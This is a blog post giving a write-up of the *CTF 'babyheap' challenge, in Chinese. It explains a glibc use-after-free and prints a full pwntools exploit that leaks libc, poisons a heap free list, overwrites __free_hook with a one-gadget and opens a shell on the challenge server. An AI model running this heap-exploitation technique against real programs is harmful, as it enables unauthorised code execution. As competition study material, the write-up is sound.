zoukankan      html  css  js  c++  java
  • *CTF pwn write up

      第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的。此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来。

    babyheap

      程序有add、delete、show、edit功能。

      在add函数只能创建0x10-0x60大小的chunk。

      delete函数存在uaf漏洞。

      show函数平平无奇。

      edit函数只能往chunk+8的位置进行写,就是在free之后不能直接利用uaf漏洞改写fd指针。

      还有一个函数是leavename函数,此函数创建了一个0x400大小的chunk,里面存name。

      知识点:当存在fastbins时,申请一个比较大的chunk,会将fastbins合并放到smallbins看看大小够不够分配,如果够的话就会用这个chunk,如果不够的话,再从top chunk里面切割。这里smallbins会存放libc的一些地址,加上uaf可以leak libc。

      思路:先把0x60的tcache填满,在搞一个fastbins,这个时候调用leavename函数,让fastbins进入smallbins,此时leak libc基地址,这个smallbins也是0x60大小,之后申请比较小的chunk,会对smallbins进行切割,这个时候,利用uaf就可以写这些比较小的chunk的fd指针,将fd改成free_hook-0x8,把chunk申请过去,修改free_hook为onegadgets,执行delete就能拿到shell了。

    exp:

     1 from pwn import *
     2 
     3 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
     4 #p = process('./pwn')
     5 p = remote('52.152.231.198',8081)
     6 elf = ELF('./pwn')
     7 libc = ELF('./libc.so')
     8 context(os='linux',arch='amd64',log_level='debug')
     9 
    10 def duan():
    11     gdb.attach(p)
    12     pause()
    13 def add(index,size):
    14     p.sendlineafter('>> 
    ','1')
    15     p.sendlineafter('index
    ',str(index))
    16     p.sendlineafter('size
    ',str(size))
    17 def delete(index):
    18     p.sendlineafter('>> 
    ','2')
    19     p.sendlineafter('index
    ',str(index))
    20 def edit(index,content):
    21     p.sendlineafter('>> 
    ','3')
    22     p.sendlineafter('index
    ',str(index))
    23     p.sendafter('content
    ',content)
    24 def show(index):
    25     p.sendlineafter('>> 
    ','4')
    26     p.sendlineafter('index
    ',str(index))
    27 def leavename(name):
    28     p.sendlineafter('>> 
    ','5')
    29     p.sendafter('name:
    ',name)
    30 def showname():
    31     p.sendlineafter('>> 
    ','6')
    32 
    33 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
    34 og = [0x4f3d5,0x4f432,0x10a41c]
    35 
    36 add(0,0x50)
    37 add(1,0x50)
    38 add(2,0x50)
    39 add(3,0x50)
    40 add(4,0x50)
    41 add(5,0x50)
    42 add(6,0x50)
    43 add(7,0x50)
    44 add(8,0x10)
    45 delete(0)
    46 delete(1)
    47 delete(2)
    48 delete(3)
    49 delete(4)
    50 delete(5)
    51 delete(6)
    52 delete(7)
    53 
    54 leavename('bhxdn')
    55 show(7)
    56 libc_base = u64(p.recv(6).ljust(8,'x00'))-176-0x10-libc.symbols['__malloc_hook']
    57 print 'libc_base-->'+hex(libc_base)
    58 shell = libc_base+og[1]
    59 free_hook = libc_base+libc.symbols['__free_hook']
    60 
    61 add(6,0x50)
    62 add(5,0x50)
    63 add(4,0x50)
    64 add(3,0x50)
    65 add(2,0x50)
    66 add(1,0x50)
    67 add(0,0x50)
    68 
    69 add(9,0x10)
    70 add(10,0x10)
    71 delete(9)
    72 delete(10)
    73 edit(7,'aaaaaaaa'+p64(0)+p64(0x21)+p64(free_hook-0x8))
    74 print 'libc_base-->'+hex(libc_base)
    75 print 'free_hook-->'+hex(free_hook)
    76 add(9,0x10)
    77 add(10,0x10)
    78 edit(10,p64(shell))
    79 delete(0)
    80 p.interactive()

  • 相关阅读:
    推荐一款适合Dynamics 365/Dynamics CRM 2016 使用的弹出窗插件AlertJs
    SSRS 报表开发过程中,除数为0的处理
    [Dynamics 365] 关于Currency的一点随笔
    [Microsoft Dynamics CRM 2016]Invalid Action – The selected action was not valid 错误的诱因及解决方法
    [Dynamics CRM 2016]如何配置多语言显示
    获取经过跳转后的url地址
    Microsoft Dynamics CRM 2013 --针对特定实体,取消保存功能(包含自动保存)
    Microsoft Dynamics CRM 2013 --选项集的多选
    我自己也是找了好久这样的远程打印软件
    QTextStream 读取文件乱码的解决办法
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14287790.html
Copyright © 2011-2022 走看看